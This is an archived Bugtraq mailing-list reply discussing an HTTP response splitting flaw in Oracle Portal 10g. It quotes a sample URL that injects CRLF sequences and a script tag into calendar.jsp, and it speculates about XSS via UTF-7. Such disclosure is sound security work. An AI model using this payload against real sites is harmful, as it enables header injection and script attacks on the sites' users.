bugtraq
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting

from [Brian Eaton] [Permanent Link][Original]
To: "putosoft softputo" <hasecorp@hotmail.com>
Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
From: "Brian Eaton" <eaton.lists@gmail.com>
Date: Wed, 20 Dec 2006 13:55:09 -0500
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
Domainkey-signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=gPu5oS0Aw+UVjlfiMBfAq/0Nuzao/EKI7tQTEWi94h+rQ6f0gpeQxLd3nWYjTLjhGyHaxx4vuMcdOTUk18nBtNqgKglv5wYolTD5IOcGjrZfi7cgCfGPBMXE2ylATayY3p7LP8+uImfs7YVzWsw/1rMLmu3MDVasW4cy3w9YvA4=
In-reply-to: <BAY114-F8D7E450685BC28D72A7B0DECF0@phx.gbl>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm
References: <BAY114-F8D7E450685BC28D72A7B0DECF0@phx.gbl> 
On 12/20/06, putosoft softputo <hasecorp@hotmail.com> wrote:

Oracle Portal/Applications HTTP Response Splitting
--------------------------------------------------

Sample:

http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E


So they let the URL specify the content-encoding?  They might be
vulnerable to XSS via UTF-7 as well.

Regards,
Brian
[More with this subject...]
<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  Re: Oracle <= 9i / 10g File System Access via utl_file Exploit, sumit kumar soni
Next by Date:  [security bulletin] HPSBUX02174 SSRT061239 rev.2 HP-UX Running OpenSSL Denial of Service (DoS), Increase Privilege, security-alert
Previous by Thread:  Oracle Portal 10g HTTP Response Splitting, putosoft softputo
Next by Thread:  Re: Oracle Portal 10g HTTP Response Splitting, majororacle
Indexes:  [Date] [Thread] [Top] [All Lists]